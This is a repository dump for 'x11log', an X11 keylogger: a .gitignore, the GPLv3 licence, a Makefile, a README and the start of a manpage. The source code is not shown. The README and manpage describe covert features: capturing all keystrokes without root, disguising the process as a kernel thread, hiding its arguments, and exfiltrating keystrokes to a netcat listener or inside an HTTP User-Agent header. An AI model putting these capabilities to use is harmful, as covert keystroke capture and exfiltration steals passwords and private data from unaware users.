├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── manpage.pod ├── x11log.c └── x11log.h /.gitignore: -------------------------------------------------------------------------------- 1 | *.1 2 | *.o 3 | .vimsession 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # (c) Sonnleitner Erik 2 | # Makefile for x11log, updated for clean build on Arch 3 | 4 | DESTDIR ?= . 5 | CC = gcc 6 | #CFLAGS = -ggdb -fPIE -m32 -Wall -fno-builtin-log -Wno-multichar -std=c99 -Wno-deprecated-declarations 7 | #CFLAGS = -ggdb -fPIE -Wall -std=c99 -fno-builtin-log -Wall -Wno-multichar -Wno-missing-braces -Wno-deprecated-declarations 8 | CFLAGS = -fPIE -Wall -std=c99 -fno-builtin-log -Wall -Wno-multichar -Wno-missing-braces -Wno-deprecated-declarations 9 | # -fno-builtin-log: we have our own implementation of log() 10 | # -Wno-multichar: we use multi-chars in the source (sorry for that) 11 | # -Wno-depricated-declarations: we use XKeycodeToKeysym from Xlib.h 12 | # -Wno-missing-braces: see GCC bug 53119 13 | 14 | INCLUDES ?= -I/usr/lib/X11R6/include -I/usr/include/curl 15 | DEFINES = -D_HAVE_CURL -D_UNICODE -D_GNU_SOURCE 16 | LIBS ?= -L/usr/X11R6/lib 17 | EXTRA_LDFLAGS ?= -lX11 -lcurl 18 | LDFLAGS ?= -lX11 -lcurl 19 | TARGET ?= x11log 20 | MANPAGE_POD ?= manpage.pod 21 | POD2MAN ?= pod2man 22 | #POD2MAN ?= /usr/bin/pod2man 23 | MANDIR ?= /usr/share/man/man1 24 | 25 | all: $(TARGET) 26 | 27 | $(TARGET): $(TARGET).o 28 | $(CC) -o $@ $(TARGET).o $(LIBS) $(EXTRA_LDFLAGS) $(INCLUDES) $(DEFINES) 29 | $(POD2MAN) --center "Utils" $(MANPAGE_POD) > $(TARGET).1 30 | 31 | $(TARGET).o: $(TARGET).c 32 | $(CC) $(INCLUDES) $(DEFINES) $(CFLAGS) -c $(TARGET).c 33 | 34 | clean: 35 | rm -f *.o 36 | rm -f $(TARGET) 37 | 38 | install: 39 | mkdir -p $(DESTDIR)/usr/bin/ 40 | mkdir -p $(DESTDIR)/usr/share/man/man1/ 41 | install -m 0755 $(TARGET) $(DESTDIR)/usr/bin/ 42 | install -m 0644 $(TARGET).1 $(DESTDIR)/usr/share/man/man1/$(TARGET).1 43 | 44 | uninstall: 45 | rm -f $(DESTDIR)/usr/bin/$(TARGET) 46 | rm -f $(DESTDIR)/usr/share/man/man1/$(TARGET).1 47 | 48 | 49 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # x11log 2 | 3 | x11log is a tiny, simplistic, non-privileged, unobtrusive local/remote 4 | userspace keylogger for X11 sessions. It only requires libX11 and, if 5 | you want remote logging to a HTTP server, libcurl. 6 | 7 | - No root privileges required. It logs all keystrokes, including meta-keys and 8 | modifiers of the user who is running the application, as long as he/she has 9 | an actively running X session. However, it's not necessary to run the logger 10 | from within the X environment (e.g. a graphical xterminal) - it also works 11 | when called via SSH or on a virtual console. 12 | 13 | - Stealthy daemon mode. You may run the logger as background-daemon, with the 14 | possibility of completely omitting any console output, altering its name 15 | within the process list, and fully hide given command-line arguments. By 16 | default, it's renaming itself to a kernel thread. 17 | 18 | - Local logging to file 19 | 20 | - Remote logging to TCP port. It's easily possible to simply send the keystrokes 21 | to a specified port on a host on the net. The other end of the connection just 22 | needs a program which is actively listening for TCP connections, typically done 23 | through netcat (e.g. via BSD netcat: nc -l 4000 -k). 24 | 25 | - Remote logging to your web-server. Alternatively, you may choose a web-server, 26 | to which the keystrokes are sent, encapsulated within a HTTP GET request, and 27 | "hidden" in a HTTP header field (User-Agent by default). 28 | 29 | -------------------------------------------------------------------------------- /manpage.pod: -------------------------------------------------------------------------------- 1 | =encoding utf8 2 | 3 | 4 | =head1 NAME 5 | 6 | x11log - A tiny, non-privileged, unobtrusive local/remote keylogger for X11 7 | 8 | =head1 SYNPOSIS 9 | 10 | x11log [-sfrhHPdqoO?] 11 | 12 | 13 | =head1 DESCRIPTION 14 | 15 | x11log is a free (GPLv3) keylogger for the X Window System. It's main intent 16 | was to be able to run without root privileges. It is unobstrusive, shows a low 17 | memory footprint, and allows local (file) and remote (to any TCP listener, e.g. 18 | netcat or a HTTP server) logging. 19 | x11log can be run in daemon mode and obfuscate/change it's own program name 20 | in order not to raise suspicion in logs and process managers. 21 | 22 | 23 | =head1 COMMAND-LINE OPTIONS 24 | 25 | If x11log is started without arguments, the process will not daemonize and 26 | echo keystrokes on stdout (regardless whether the terminal it 